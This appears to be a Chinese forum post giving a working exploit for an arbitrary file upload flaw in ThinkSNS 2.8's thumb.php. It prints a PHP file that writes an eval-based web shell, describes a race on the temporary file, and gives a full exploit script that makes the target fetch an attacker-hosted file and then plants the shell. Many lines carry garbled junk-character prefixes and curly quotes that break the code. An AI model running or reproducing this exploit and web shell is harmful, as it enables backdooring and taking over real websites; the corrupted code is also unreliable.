Thinksns2.8文件上传漏洞利用exp

admin

漏洞版本
& W7 T- F0 y0 I- _) a存在漏洞的版本为：最新的2.8稳定版。（其它版本没测试过）
漏洞文件
存在漏洞的文件为：thumb.php
作者：韦鲲鹏
; Y2 ~! w' V( n3 s  |! t. V! T1、        准备如下PHP文件并上传到服务器（自己的）。
) d5 R9 \( j( ^) r6 Z3 R文件内容如下：
) A2 V( M3 s# O+ ]3 ?- g<?php echo “<?php fwrite(fopen(‘img.php’,'w’), ‘<?php @eval(\$_POST[\"xpass\"]);?>’); ?>” ?>
, G% G7 L+ ?, z+ ]" R+ J2、        计算出临时的文件名：
这里我们可以看文件的99行（刚刚是不是没注意呀！）。

3、        上传临时文件。
4、        访问临时文件。
但是这里有个问题，PHP脚本执行的速度是非常快的，如果手工来执行第三和第四步的话，那需要的反应速度该多快呀！所以必须写一个工具来代替人来提交数 据，而且，为了增加第三步的执行时间，为第四步争取时间，我们需要给第一步所准备的PHP填充内容，经过测试，文件大小为300KB时成功率最高。（太小 时间太短，太大可能传不上去。）
Exploit文件内容如下：（这个我就不详细解释了）
<?php
. F) X$ Q$ s& L2 O( i0 B( cerror_reporting(0);
7 E  ~  d- A3 y. N% _- }' Jset_time_limit(0);
+ V. o. h0 D+ \ini_set(“default_socket_timeout”, 5);
$ y2 I) J& }! V! r3 t! K# F( pfunction http_send($host, $port, $headers) {
: z6 ?$ v( H: n8 s" S" H# a$ Y- P5 _$fp = fsockopen($host, $port);
if (!$fp) die(‘Connection -> fail’);
fputs($fp, $headers);
8 r8 n0 |% Y0 Q7 d! L' @return $fp;
% M% v) k1 Q. `# M8 V}
! m* U/ g6 h8 h5 c' y+ \  Qfunction http_recv($fp) {
/ y$ J' B9 X4 N3 _( \" c$ret=”";
while (!feof($fp))
# h) P0 m$ W$ G8 Z- L  a) H$ret.= fgets($fp, 1024);
fclose($fp);
' k/ v* c5 Y$ jreturn $ret;
% a9 d* \" P5 l! H1 j}
' X8 H/ C0 V  Z3 F7 A  dprint “\n#  ThinkSns Arbitrary File Upload   #\n”;
print “# Discovered by 韦鲲鹏 #\n\n”;
if ($argc < 4) {
print “Usage:   php <host> <path> <romote_url>\n”;
print “Example: php localhost /thinksns/ http://localhost/test/123.php\n”;
die();
}
$host = $argv[1];
$path = $argv[2];
$url = $argv[3];
$i=0;
//上传数据包
$headers_up = “GET {$path}thumb.php?url=”.$url.” HTTP/1.1\r\n”;
' H# C! k# I9 X1 s2 [: Q$headers_up .= “Host: “.$host.”\r\n”;
$headers_up .= “Connection: close\r\n\r\n”;
echo $headers_up;
//临时文件访问数据包
$headers = “GET {$path}data/thumb_temp/”.md5($url).strrchr($url,”.”).” HTTP/1.1\r\n”;
6 v4 p3 [. k- U, K# ^$headers .= “Host: “.$host.”\r\n”;
$headers .= “Connection: close\r\n\r\n”;
echo $headers;
while(++$i<10) {
" b8 [  j& B$ x$ t" W+ qfclose(http_send($host, 80, $headers));
}
fclose(http_send($host, 80, $headers_up));
  S# N+ G2 _$ r6 x& K3 k$ L5 H, Owhile(++$i<50) {
fclose(http_send($host, 80, $headers));
& X% f' m0 H) J  _. j8 ~}
$headers = “GET {$path}data/thumb_temp/img.php HTTP/1.1\r\n”;
' M1 z2 d3 Q, Z$headers .= “Host: “.$host.”\r\n”;
$headers .= “Connection: close\r\n\r\n”;
; @' n7 B, g7 C1 e6 q/ C$ X$res=http_recv(http_send($host, 80, $headers));
if(preg_match(‘/200 OK/’,$res)) {
print “Success!\n\n”;
} else {
print “Fail!\n\n”;
/ ]- O+ q# y2 `* g' l}
?>
​